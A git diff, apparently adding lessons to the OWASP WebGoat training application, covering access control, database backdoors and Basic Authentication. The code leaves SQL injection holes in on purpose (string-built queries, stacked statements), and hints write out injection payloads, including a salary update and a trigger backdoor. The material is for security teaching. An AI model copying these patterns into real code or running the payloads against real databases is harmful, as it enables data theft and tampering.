sb.append(line + System.getProperty("line.separator")); + } + + reader.close(); + } + catch (Exception e) + { + System.out.println(e); + e.printStackTrace(); + } + + return (sb.toString()); + } + + + /** + * Will this screen be included in an enterprise edition. + * + * @return The ranking value + */ + public boolean isEnterprise() + { + return false; + } + + + /** + * Gets the hintCount attribute of the Lesson object + * @param s The user's WebSession + * + * @return The hintCount value + */ + public int getHintCount(WebSession s) + { + return getHints(s).size(); + } + + + protected abstract List getHints(WebSession s); + + + /** + * Fill in a minor hint that will help people who basically get it, but + * are stuck on somthing silly. + * @param s The users WebSession + * + * @return The hint1 value + */ + public String getHint(WebSession s, int hintNumber) + { + return getHints(s).get(hintNumber); + } + + + /** + * Gets the instructions attribute of the AbstractLesson object + * + * @return The instructions value + */ + public abstract String getInstructions(WebSession s); + + + /** + * Gets the lessonPlan attribute of the Lesson object + * + * @return The lessonPlan value + */ + protected String getLessonName() + { + int index = this.getClass().getName().indexOf("lessons."); + return this.getClass().getName().substring(index + "lessons.".length()); + } + + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public abstract String getTitle(); + + + /** + * Gets the content of lessonPlanURL + * + * @param s + * The user's WebSession + * + * @return The HTML content of the current lesson plan + */ + public String getLessonPlan(WebSession s) + { + String src = null; + + try + { + // System.out.println("Loading lesson plan file: " + + // getLessonPlanFileName()); + src = readFromFile(new BufferedReader(new FileReader(s + .getWebResource(getLessonPlanFileName()))), false); + + } + catch (Exception e) + { + // s.setMessage( "Could not find lesson plan for " + + // getLessonName()); + src = ("Could not find lesson plan for: " + getLessonName()); + + } + return src; + } + + + /** + * Gets the ranking attribute of the Lesson object + * + * @return The ranking value + */ + public Integer getRanking() + { + if (ranking != null) + { + return ranking; + } + else + { + return getDefaultRanking(); + } + } + + + /** + * Gets the hidden value of the Lesson Object + * + * @return The hidden value + */ + public boolean getHidden() + { + return this.hidden; + } + + + /** + * Gets the role attribute of the AbstractLesson object + * + * @return The role value + */ + public String getRole() + { + // FIXME: Each lesson should have a role assigned to it. Each + // user/student + // should also have a role(s) assigned. The user would only be allowed + // to see lessons that correspond to their role. Eventually these roles + // will be stored in the internal database. The user will be able to + // hack + // into the database and change their role. This will allow the user to + // see the admin screens, once they figure out how to turn the admin + // switch on. + return USER_ROLE; + } + + + /** + * Gets the uniqueID attribute of the AbstractLesson object + * + * @return The uniqueID value + */ + public int getScreenId() + { + return id.intValue(); + } + + + public String getHtml_DELETE_ME(WebSession s) + { + String html = null; + + // FIXME: This doesn't work for the labs since they do not implement + // createContent(). + String rawHtml = createContent(s).toString(); + // System.out.println("Getting raw html content: " + + // rawHtml.substring(0, Math.min(rawHtml.length(), 100))); + html = convertMetachars(AbstractLesson.readFromFile(new BufferedReader( + new StringReader(rawHtml)), true)); + // System.out.println("Getting encoded html content: " + + // html.substring(0, Math.min(html.length(), 100))); + + return html; + } + + + public String getSource(WebSession s) + { + String source = null; + String src = null; + + try + { + // System.out.println("Loading source file: " + + // getSourceFileName()); + src = convertMetacharsJavaCode(readFromFile(new BufferedReader( + new FileReader(s.getWebResource(getSourceFileName()))), + true)); + + // TODO: For styled line numbers and better memory efficiency, + // use a custom FilterReader + // that performs the convertMetacharsJavaCode() transform plus + // optionally adds a styled + // line number. Wouldn't color syntax be great too? + } + catch (IOException e) + { + s.setMessage("Could not find source file"); + src = ("Could not find source file"); + } + + Html html = new Html(); + + Head head = new Head(); + head.addElement(new Title(getSourceFileName())); + + Body body = new Body(); + body.addElement(new StringElement(src)); + + html.addElement(head); + html.addElement(body); + + source = html.toString(); + + return source; + } + + + public String getSolution(WebSession s) + { + String src = null; + + try + { + src = readFromFile(new BufferedReader( + new FileReader(s.getWebResource(getLessonSolutionFileName()))), + false); + } + catch (IOException e) + { + s.setMessage("Could not find the solution file"); + src = ("Could not find the solution file"); + } + + Html html = new Html(); + + Head head = new Head(); + head.addElement(new Title(getLessonSolutionFileName())); + + Body body = new Body(); + body.addElement(new StringElement(src)); + + html.addElement(head); + html.addElement(body); + + return src; + } + + + /** + * Get the link that can be used to request this screen. + * + * @return + */ + public String getLink() + { + StringBuffer link = new StringBuffer(); + + link.append("attack?"); + link.append(WebSession.SCREEN); + link.append("="); + link.append(getScreenId()); + link.append("&"); + link.append(WebSession.MENU); + link.append("="); + link.append(getCategory().getRanking()); + return link.toString(); + } + + + /** + * Get the link to the jsp page used to render this screen. + * + * @return + */ + public String getPage(WebSession s) + { + return null; + } + + + /** + * Get the link to the jsp template page used to render this screen. + * + * @return + */ + public String getTemplatePage(WebSession s) + { + return null; + } + + + public abstract String getCurrentAction(WebSession s); + + + public abstract void setCurrentAction(WebSession s, String lessonScreen); + + /** + * Override this method to implement accesss control in a lesson. + * + * @param s + * @param functionId + * @return + */ + public boolean isAuthorized(WebSession s, int employeeId, String functionId) + { + return false; + } + + + /** + * Override this method to implement accesss control in a lesson. + * + * @param s + * @param functionId + * @return + */ + public boolean isAuthorized(WebSession s, String role, String functionId) + { + boolean authorized = false; + try + { + String query = "SELECT * FROM auth WHERE role = '" + role + + "' and functionid = '" + functionId + "'"; + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + authorized = answer_results.first(); + } + catch (SQLException sqle) + { + s.setMessage("Error authorizing"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error authorizing"); + e.printStackTrace(); + } + return authorized; + } + + + public int getUserId(WebSession s) throws ParameterNotFoundException + { + return -1; + } + + + public String getUserName(WebSession s) throws ParameterNotFoundException + { + return null; + } + + /** + * Description of the Method + * + * @param windowName + * Description of the Parameter + * @return Description of the Return Value + */ + public static String makeWindowScript(String windowName) + { + // FIXME: make this string static + StringBuffer script = new StringBuffer(); + script.append("\n"); + + return script.toString(); + } + + + /** + * Simply reads a url into an Element for display. CAUTION: you might + * want to tinker with any non-https links (href) + * + * @param url + * Description of the Parameter + * @return Description of the Return Value + */ + public static Element readFromURL(String url) + { + ElementContainer ec = new ElementContainer(); + + try + { + URL u = new URL(url); + HttpURLConnection huc = (HttpURLConnection) u.openConnection(); + BufferedReader reader = new BufferedReader(new InputStreamReader( + huc.getInputStream())); + String line; + + while ((line = reader.readLine()) != null) + { + ec.addElement(new StringElement(line)); + } + + reader.close(); + } + catch (Exception e) + { + System.out.println(e); + e.printStackTrace(); + } + + return (ec); + } + + + /** + * Description of the Method + * + * @param reader + * Description of the Parameter + * @param numbers + * Description of the Parameter + * @param methodName + * Description of the Parameter + * @return Description of the Return Value + */ + public static Element readMethodFromFile(BufferedReader reader, + String methodName, boolean numbers) + { + PRE pre = new PRE().addElement(getFileMethod(reader, methodName, + numbers)); + + return (pre); + } + + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + */ + public void handleRequest(WebSession s) + { + // call createContent first so messages will go somewhere + + Form form = new Form(getFormAction(), Form.POST).setName("form") + .setEncType(""); + + form.addElement(createContent(s)); + + setContent(form); + } + + + public String getFormAction() + { + return getLink(); + } + + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + + public String toString() + { + return getTitle(); + } + + + public String getLessonPlanFileName() + { + return lessonPlanFileName; + } + + + public void setLessonPlanFileName(String lessonPlanFileName) + { + this.lessonPlanFileName = lessonPlanFileName; + } + + public String getLessonSolutionFileName() + { + return lessonSolutionFileName; + } + + + public void setLessonSolutionFileName(String lessonSolutionFileName) + { + this.lessonSolutionFileName = lessonSolutionFileName; + } + + public String getSourceFileName() + { + return sourceFileName; + } + + + public void setSourceFileName(String sourceFileName) + { + // System.out.println("Setting source file of lesson " + this + " to: " + // + sourceFileName); + this.sourceFileName = sourceFileName; + } + + + public WebgoatContext getWebgoatContext() { + return webgoatContext; + } + + + public void setWebgoatContext(WebgoatContext webgoatContext) { + this.webgoatContext = webgoatContext; + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java b/main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java new file mode 100644 index 000000000..c13cbcc4a --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java @@ -0,0 +1,284 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.html.A; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Jeff Williams Aspect Security + * @created October 28, 2003 + */ + +public class AccessControlMatrix extends LessonAdapter +{ + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + private final static String RESOURCE = "Resource"; + + private final static String USER = "User"; + + private final static String[] resources = { "Public Share", + "Time Card Entry", "Performance Review", "Time Card Approval", + "Site Manager", "Account Manager" }; + + private final static String[] roles = { "Public", "User", "Manager", + "Admin" }; + + private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" }; + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + String user = s.getParser().getRawParameter(USER, users[0]); + String resource = s.getParser().getRawParameter(RESOURCE, resources[0]); + String credentials = getRoles(user).toString(); + + Table t = new Table().setCellSpacing(0).setCellPadding(2) + .setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TD().addElement("Change user:")); + tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1))); + t.addElement(tr); + + // These two lines would allow the user to select the resource from a list + // Didn't seem right to me so I made them type it in. + // ec.addElement( new P().addElement( "Choose a resource:" ) ); + // ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) ); + tr = new TR(); + tr.addElement(new TD().addElement("Select resource: ")); + tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1))); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD(" ").setColSpan(2).setAlign("center")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center")); + t.addElement(tr); + ec.addElement(t); + + if (isAllowed(user, resource)) + { + if (!getRoles(user).contains("Admin") + && resource.equals("Account Manager")) + { + makeSuccess(s); + } + s.setMessage("User " + user + " " + credentials + + " was allowed to access resource " + resource); + } + else + { + s.setMessage("User " + user + " " + credentials + + " did not have privilege to access resource " + + resource); + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + + /** + * Gets the category attribute of the RoleBasedAccessControl object + * + * @return The category value + */ + + protected Category getDefaultCategory() + { + return Category.ACCESS_CONTROL; + } + + + /** + * Gets the hints attribute of the RoleBasedAccessControl object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Many sites attempt to restrict access to resources by role."); + hints.add("Developers frequently make mistakes implementing this scheme."); + hints.add("Attempt combinations of users, roles, and resources."); + return hints; + } + + private final static Integer DEFAULT_RANKING = new Integer(10); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the resources attribute of the RoleBasedAccessControl object + * + * @param rl Description of the Parameter + * @return The resources value + */ + private List getResources(List rl) + { + // return the resources allowed for these roles + ArrayList list = new ArrayList(); + + if (rl.contains(roles[0])) + { + list.add(resources[0]); + } + + if (rl.contains(roles[1])) + { + list.add(resources[1]); + list.add(resources[5]); + } + + if (rl.contains(roles[2])) + { + list.add(resources[2]); + list.add(resources[3]); + } + + if (rl.contains(roles[3])) + { + list.add(resources[4]); + list.add(resources[5]); + } + + return list; + } + + + /** + * Gets the role attribute of the RoleBasedAccessControl object + * + * @param user Description of the Parameter + * @return The role value + */ + + private List getRoles(String user) + { + ArrayList list = new ArrayList(); + + if (user.equals(users[0])) + { + list.add(roles[0]); + } + else if (user.equals(users[1])) + { + list.add(roles[1]); + list.add(roles[2]); + } + else if (user.equals(users[2])) + { + list.add(roles[0]); + list.add(roles[2]); + } + else if (user.equals(users[3])) + { + list.add(roles[3]); + } + + return list; + } + + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + + public String getTitle() + { + return ("Using an Access Control Matrix"); + } + + + // private final static ArrayList userList = new ArrayList(Arrays.asList(users)); + // private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources)); + // private final static ArrayList roleList = new ArrayList(Arrays.asList(roles)); + + /** + * Please do not ever implement an access control scheme this way! But it's not the worst I've + * seen. + * + * @param user Description of the Parameter + * @param resource Description of the Parameter + * @return The allowed value + */ + + private boolean isAllowed(String user, String resource) + { + List roles = getRoles(user); + List resources = getResources(roles); + return (resources.contains(resource)); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java new file mode 100644 index 000000000..120dc556e --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java @@ -0,0 +1,270 @@ +package org.owasp.webgoat.lessons; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Div; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.PRE; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Sherif Koussa Macadamian + * Technologies. + */ +public class BackDoors extends SequentialLessonAdapter +{ + + private final static Integer DEFAULT_RANKING = new Integer(80); + + private final static String USERNAME = "username"; + + private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid="; + + private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( + "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); + + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } + + protected Element doStage1(WebSession s) throws Exception + { + return concept1(s); + } + + protected Element doStage2(WebSession s) throws Exception + { + return concept2(s); + } + + protected Element concept1(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(makeUsername(s)); + + try + { + String userInput = s.getParser().getRawParameter(USERNAME, ""); + if (!userInput.equals("")) + { + userInput = SELECT_ST + userInput; + String[] arrSQL = userInput.split(";"); + Connection conn = DatabaseUtilities.getConnection(s); + Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + if (arrSQL.length == 2) + { + statement.executeUpdate(arrSQL[1]); + + getLessonTracker(s).setStage(2); + s.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm"); + } + + ResultSet rs = statement.executeQuery(arrSQL[0]); + if (rs.next()) + { + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1); + TR tr = new TR(); + tr.addElement(new TH("User ID")); + tr.addElement(new TH("Password")); + tr.addElement(new TH("SSN")); + tr.addElement(new TH("Salary")); + tr.addElement(new TH("E-Mail")); + t.addElement(tr); + while (rs.next()) + { + tr = new TR(); + tr.addElement(new TD(rs.getString("userid"))); + tr.addElement(new TD(rs.getString("password"))); + tr.addElement(new TD(rs.getString("ssn"))); + tr.addElement(new TD(rs.getString("salary"))); + tr.addElement(new TD(rs.getString("email"))); + t.addElement(tr); + } + ec.addElement(t); + } + } + } + catch (Exception ex) + { + ec.addElement(new PRE(ex.getMessage())); + } + return ec; + } + + protected Element concept2(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + ec.addElement(makeUsername(s)); + + String userInput = s.getParser().getRawParameter(USERNAME, ""); + + if (!userInput.equals("")) + { + String[] arrSQL = userInput.split(";"); + if (arrSQL.length == 2) + { + if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != 0) + { + makeSuccess(s); + } + } + + } + return ec; + } + + public String getInstructions(WebSession s) + { + String instructions = ""; + + if (!getLessonTracker(s).getCompleted()) + { + switch (getStage(s)) + { + case 1: + instructions = "Stage " + getStage(s) + + ": Use String SQL Injection to execute more than one SQL Statement. "; + instructions = instructions + + " The first stage of this lesson is to teach you how to use a vulnerable field to create two SQL "; + instructions = instructions + + " statements. The first is the system's while the second is totally yours."; + instructions = instructions + + " Your account ID is 101. This page allows you to see your password, ssn and salary."; + instructions = instructions + + " Try to inject another update to update salary to something higher"; + break; + case 2: + instructions = "Stage " + getStage(s) + + ": Use String SQL Injection to inject a backdoor. "; + instructions = instructions + + " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor."; + instructions = instructions + + " Now try to use the same technique to inject a trigger that would act as "; + instructions = instructions + " SQL backdoor, the syntax of a trigger is:
"; + instructions = instructions + + " CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
"; + instructions = instructions + + " Note that nothing will actually be executed because the current underlying DB doesn't support triggers."; + break; + } + } + + return instructions; + } + + protected Element makeUsername(WebSession s) + { + ElementContainer ec = new ElementContainer(); + StringBuffer script = new StringBuffer(); + script.append(""); + ec.addElement(new StringElement(script.toString())); + + ec.addElement(new StringElement("User ID: ")); + Input username = new Input(Input.TEXT, "username", ""); + ec.addElement(username); + + String userInput = s.getParser().getRawParameter("username", ""); + + ec.addElement(new BR()); + ec.addElement(new BR()); + + String formattedInput = "" + userInput + ""; + ec.addElement(new Div(SELECT_ST + formattedInput)); + + Input b = new Input(); + + b.setName("Submit"); + b.setType(Input.SUBMIT); + b.setValue("Submit"); + + ec.addElement(new PRE(b)); + + return ec; + } + + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } + + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Your user id is 101. Use it to see your information"); + hints.add("A semi-colon usually ends a SQL statement and starts a new one."); + hints.add("Try this 101 or 1=1; update employee set salary=100000"); + hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " + + "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid"); + return hints; + } + + protected Category getDefaultCategory() + { + return Category.INJECTION; + } + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + public String getTitle() + { + return ("Database Backdoors "); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java new file mode 100644 index 000000000..a7c17a555 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java @@ -0,0 +1,331 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class BasicAuthentication extends SequentialLessonAdapter +{ + private static final String EMPTY_STRING = ""; + + private static final String WEBGOAT_BASIC = "webgoat_basic"; + + private static final String AUTHORIZATION = "Authorization"; + + private static final String ORIGINAL_AUTH = "Original_Auth"; + + private static final String ORIGINAL_USER = "Original.user"; + + private static final String BASIC = "basic"; + + private static final String JSESSIONID = "JSESSIONID"; + + private final static String HEADER_NAME = "header"; + + private final static String HEADER_VALUE = "value"; + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } + + + protected Element doStage1(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + + String headerName = null; + String headerValue = null; + try + { + headerName = new String(s.getParser().getStringParameter( + HEADER_NAME, EMPTY_STRING)); + headerValue = new String(s.getParser().getStringParameter( + HEADER_VALUE, EMPTY_STRING)); + + // + // FIXME: This won;t work for CBT, we need to use the UserTracker + //Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + if (headerName.equalsIgnoreCase(AUTHORIZATION) + && (headerValue.equals("guest:guest") || headerValue + .equals("webgoat:webgoat"))) + { + getLessonTracker(s).setStage(2); + return doStage2(s); + } + else + { + if (headerName.length() > 0 + && !headerName.equalsIgnoreCase(AUTHORIZATION)) + { + s + .setMessage("Basic Authentication header name is incorrect."); + } + if (headerValue.length() > 0 + && !(headerValue.equals("guest:guest") || headerValue + .equals("webgoat:webgoat"))) + { + s + .setMessage("Basic Authentication header value is incorrect."); + + } + } + // + + Table t = new Table(0).setCellSpacing(0).setCellPadding(0) + .setBorder(0); + if (s.isColor()) + { + t.setBorder(1); + } + + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new StringElement( + "What is the name of the authentication header: "))); + row2 + .addElement(new TD( + new StringElement( + "What is the decoded value of the authentication header: "))); + + row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, + headerName.toString()))); + row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, + headerValue.toString()))); + + t.addElement(row1); + t.addElement(row2); + + ec.addElement(t); + ec.addElement(new P()); + + Element b = ECSFactory.makeButton("Submit"); + ec.addElement(b); + + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + + protected Element doStage2(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + + try + { + if (s.getRequest().isUserInRole(WEBGOAT_BASIC)) + { + String originalUser = getLessonTracker(s).getLessonProperties() + .getProperty(ORIGINAL_USER, EMPTY_STRING); + getLessonTracker(s, originalUser).setCompleted(true); + getLessonTracker(s, originalUser).setStage(1); + getLessonTracker(s, originalUser).store(s, this); + makeSuccess(s); + s.setMessage("Close your browser and login as " + originalUser + + " to get your green stars back."); + return ec; + } + else + { + // If we are still in the ORIGINAL_USER role see if the Basic Auth header has been manipulated + String originalAuth = getLessonTracker(s).getLessonProperties() + .getProperty(ORIGINAL_AUTH, EMPTY_STRING); + String originalSessionId = getLessonTracker(s) + .getLessonProperties().getProperty(JSESSIONID, + s.getCookie(JSESSIONID)); + + // store the original user info in the BASIC properties files + if (originalSessionId.equals(s.getCookie(JSESSIONID))) + { + // Store the original user name in the "basic" user properties file. We need to use + // the original user to access the correct properties file to update status. + // store the initial auth header + getLessonTracker(s).getLessonProperties().setProperty( + JSESSIONID, originalSessionId); + getLessonTracker(s).getLessonProperties().setProperty( + ORIGINAL_AUTH, s.getHeader(AUTHORIZATION)); + getLessonTracker(s, BASIC).getLessonProperties() + .setProperty(ORIGINAL_USER, s.getUserName()); + getLessonTracker(s, BASIC).setStage(2); + getLessonTracker(s, BASIC).store(s, this, BASIC); + } + + s.setMessage("Congratulations, you have figured out the mechanics of basic authentication."); + s.setMessage("  - Now you must try to make WebGoat reauthenticate you as: "); + s.setMessage("    - username: basic"); + s.setMessage("    - password: basic"); + s.setMessage("Use the Basic Authentication Menu to start at login page."); + + // If the auth header is different but still the original user - tell the user + // that the original cookie was posted bak and basic auth uses the cookie before the + // authorization token + if (!originalAuth.equals("") + && !originalAuth.equals(s.getHeader(AUTHORIZATION))) + { + ec + .addElement("You're almost there! You've modified the " + + AUTHORIZATION + + " header but you are " + + "still logged in as " + + s.getUserName() + + ". Look at the request after you typed in the 'basic' " + + "user credentials and submitted the request. Remember the order of events that occur during Basic Authentication."); + } + else if (!originalSessionId.equals(s.getCookie(JSESSIONID))) + { + ec + .addElement("You're really close! Changing the session cookie caused the server to create a new session for you. This did not cause the server to reauthenticate you. " + + "When you figure out how to force the server to perform an authentication request, you have to authenticate as:

" + + "    user name: basic
" + + "    password: basic
"); + } + else + { + ec.addElement("Use the hints! One at a time..."); + } + + } + + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + + /** + * Gets the category attribute of the ForgotPassword object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + + return Category.AUTHENTICATION; + } + + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + // int stage = getLessonTracker(session, BASIC).getStage(); + + // switch ( stage ) + // { + // case 1: + hints + .add("Basic authentication uses a cookie to pass the credentials. " + + "Use a proxy to intercept the request. Look at the cookies."); + hints + .add("Basic authentication uses Base64 encoding to 'scramble' the " + + "user's login credentials."); + hints + .add("Basic authentication uses 'Authorization' as the cookie name to " + + "store the user's credentials."); + hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the " + + "the value in the Authorization cookie."); + // break; + // case 2: + hints + .add("Basic authentication uses a cookie to pass the credentials. " + + "Use a proxy to intercept the request. Look at the cookies."); + hints + .add("Before the WebServer requests credentials from the client, the current " + + "session is checked for validitity."); + hints + .add("If the session is invalid the webserver will use the basic authentication credentials"); + hints + .add("If the session is invalid and the basic authentication credentials are invalid, " + + "new credentials will be requested from the client."); + hints + .add("Intercept the request and corrupt the JSESSIONID and the Authorization header."); + // break; + // } + + return hints; + } + + private final static Integer DEFAULT_RANKING = new Integer(100); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Basic Authentication"); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java new file mode 100644 index 000000000..c7d46d3ba --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BlindSqlInjection.java @@ -0,0 +1,317 @@ +package org.owasp.webgoat.lessons; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied 